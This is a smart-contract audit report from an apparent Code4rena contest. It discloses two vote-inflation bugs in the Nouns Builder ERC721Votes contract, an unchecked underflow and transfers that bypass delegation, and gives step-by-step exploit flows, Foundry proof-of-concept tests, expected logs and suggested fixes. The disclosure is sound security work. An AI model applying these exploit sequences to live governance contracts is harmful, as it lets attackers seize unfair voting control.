Nouns Builder contest - Soosh's results

Lines of code

https://github.com/code-423n4/2022-09-nouns-builder/blob/7e9fddbbacdd7d7812e912a369cfd862ee67dc03/src/lib/token/ERC721Votes.sol#L268

Vulnerability details

Impact

It is possible to gain an astronomically large number of votes by underflowing a variable. This can lead to unfair governance.

Description

The error occurs in _moveDelegateVotes() function in ERC721Votes.sol. It is marked unchecked {}. This becomes a problem when prevTotalVotes = 0 && _amount > 0. Which is possible in this flow:

1. attacker: token.delegate(attacker);
	// Attacker Votes: 0
2. attacker: gets 1 NFT with tokenId=123
	// Attacker Votes: 1 
3. attacker: token.delegate(address(1));
	// Attacker Votes: 0, address(1) Votes: 1
4. attacker: token.transferFrom(attacker, address(1), 123);
	// Attacker Votes: STONKS, address(1) Votes: 2

Result:
attacker votes: 6277101735386680763835789423207666416102355444464034512895
address(1) votes:  2

Explanation:

• (1) Attacker delegates to self before having any tokens. which will set

delegation[_from] = _to;  // delegation[attacker] = attacker

• (2) Attacker gets 1 NFT (from auction or otherwise)
• (3) Attacker calls delegate(someAddr), the address delegated to does not matter as we are trying to underflow the attacker's Votes. This will set attacker votes to 0 as the balance of the attacker Votes are moved to address(1).

// In _delegate():
...
// Transfer voting weight from the previous delegate to the new delegate
_moveDelegateVotes(prevDelegate, _to, balanceOf(_from));

• (4) Attacker calls transferFrom() to transfer tokens away which will invoke _afterTokenTransfer() -> _moveDelegateVotes() which will subtract 1 from the attacker's prevTotalVotes which is 0.

// In _afterTokenTransfer():
... 
// Transfer 1 vote from the sender to the recipient
_moveDelegateVotes(_from, _to, 1);
super._afterTokenTransfer(_from, _to, _tokenId);

• (5) Profit. 0 - 1 = STONKS.

Code POC

// Insert this test case into Token.t.sol
// Run: forge test --match-contract Token -vv

import "forge-std/console.sol";
...
function testVotingPowerStonks() public {
        deployMock();
        
        address voter1;
        uint256 voter1PK;
  
        // Voter with 1 NFT voting power
        voter1PK = 0xABC;
        voter1 = vm.addr(voter1PK);
        vm.deal(voter1, 1 ether);

        // Start Exploit
        
        // delegate to self before having a token
        vm.prank(voter1);
        token.delegate(voter1);

        // Get 1 token
        vm.prank(founder);
        auction.unpause();
        vm.prank(voter1);
        auction.createBid{ value: 0.420 ether }(2);
        vm.warp(auctionParams.duration + 1 seconds);
        auction.settleCurrentAndCreateNewAuction();

        vm.startPrank(voter1);
        console.log("Initial Votes");
        console.log("voter1 votes: ", token.getVotes(voter1));
        console.log("addr(1) votes: ", token.getVotes(address(1)));

        token.delegate(address(1));
        console.log("After Delegating Votes, voter1 -delegate()-> addr(1)");
        console.log("voter1 votes: ", token.getVotes(voter1));
        console.log("addr(1) votes: ", token.getVotes(address(1)));
        
        token.transferFrom(voter1, address(1), 2);
        console.log("After Token transfer, voter1 -transferFrom()-> addr(1)");
        console.log("voter1 votes: ", token.getVotes(voter1));
        console.log("addr(1) votes: ", token.getVotes(address(1)));

        assertGe(token.getVotes(voter1), 31337);

        vm.stopPrank();
    }

Expected Result:

[PASS] testVotingPowerStonks() (gas: 3518569)
Logs:
  Initial Votes   
  voter1 votes:  1
  addr(1) votes:  0
  After Delegating Votes, voter1 -delegate()-> addr(1)
  voter1 votes:  0
  addr(1) votes:  1
  After Token transfer, voter1 -transferFrom()-> addr(1)
  voter1 votes:  6277101735386680763835789423207666416102355444464034512895
  addr(1) votes:  2

Recommendations

• NOTE: This issue is similar to my other report: "_transferFrom() can be used to indefinitely increase voting power."
• I believe that the fix mentioned in that other report will also fix this issue. Only delegated tokens should count as votes. So transferFrom() should not deduct from prevTotalVotes and thus no underflow.
• Im unsure as to file under 1 report or 2 as the impacts are different and the bug in this report is only possible because of the added unchecked {} in _moveDelegateVotes(), allowing the underflow.

Lines of code

https://github.com/code-423n4/2022-09-nouns-builder/blob/7e9fddbbacdd7d7812e912a369cfd862ee67dc03/src/lib/token/ERC721Votes.sol#L268

Vulnerability details

_transferFrom() can be used to indefinitely increase voting power.

Impact

It is possible to indefinitely increase voting power by creating new accounts (addresses) and delegating. This will lead to unfair governance as a user can vote with more votes than actual.

Explanation

The _transferFrom() does not move delegates from the src's delegates to the destination's delegates, instead, it moves directly from src to dest. (see recommendations and Code POC for better understanding)

Code POC

// Insert this test case into Token.t.sol
// Run: forge test --match-contract Token -vv

import "forge-std/console.sol";
...
function testIncreaseVotePower() public {
        deployMock();

        address voter1;
        address voter2;
        uint256 voter1PK;
        uint256 voter2PK;

        // Voter with 1 NFT voting power
        voter1PK = 0xABC;
        voter1 = vm.addr(voter1PK);
        vm.deal(voter1, 1 ether);
        // Second account created by same voter
        voter2PK = 0xABD;
        voter2 = vm.addr(voter2PK);

		// Giving voter1 their 1 NFT
        vm.prank(founder);
        auction.unpause();
        vm.prank(voter1);
        auction.createBid{ value: 0.420 ether }(2);
        vm.warp(auctionParams.duration + 1 seconds);
        auction.settleCurrentAndCreateNewAuction();

        // Start Exploit
        console.log("Initial Votes");
        console.log("voter1: ", token.getVotes(voter1));
        console.log("voter2: ", token.getVotes(voter2));
        
        vm.prank(voter1);
        token.delegate(voter2);
        console.log("After Delegating Votes, voter1 -> delegate(voter2)");
        console.log("voter1: ", token.getVotes(voter1));
        console.log("voter2: ", token.getVotes(voter2));

        vm.prank(voter1);
        token.transferFrom(voter1, voter2, 2); 
        console.log("After Token transfer, voter1 -transferFrom()-> voter2");
        console.log("voter1 votes: ", token.getVotes(voter1));
        console.log("voter2 votes: ", token.getVotes(voter2));

        vm.prank(voter2);
        token.delegate(voter2);
        console.log("After Delegating Votes, voter2 -> delegate(voter2)");
        console.log("voter1: ", token.getVotes(voter1));
        console.log("voter2: ", token.getVotes(voter2));
    }

Expected Output:

[PASS] testVoteDoublePower() (gas: 3544946)
Logs:
  Initial Votes
  voter1:  1
  voter2:  0
  After Delegating Votes, voter1 -> delegate(voter2)   
  voter1:  1
  voter2:  1
  After Token transfer, voter1 -transferFrom()-> voter2
  voter1 votes:  0
  voter2 votes:  2
  After Delegating Votes, voter2 -> delegate(voter2)   
  voter1:  0
  voter2:  3

Recommendations

Looking at OpenZeppelin's ERC721Votes which I believe the team took reference from, it states:

* Tokens do not count as votes until they are delegated, because votes must be tracked which incurs an additional cost
* on every transfer. Token holders can either delegate to a trusted representative who will decide how to make use of
* the votes in governance decisions, or they can delegate to themselves to be their own representative.

The current implementation does not follow this, and tokens count as votes without being delegated. To fix this issue, votes should only be counted when delegated.

• I believe the issue is here on this line

// Transfer 1 vote from the sender to the recipient
        _moveDelegateVotes(_from, _to, 1);

Where it should move from the delegate of _from to the delegate of _to. Suggested FIx:

 _moveDelegateVotes(delegation[_from], delegation[_to], 1);

Tokens do not count as votes until they are delegated, because votes must be tracked which incurs an additional cost on every transfer. Token holders can either delegate to a trusted representative who will decide how to make use of the votes in governance decisions, or they can delegate to themselves to be their own representative.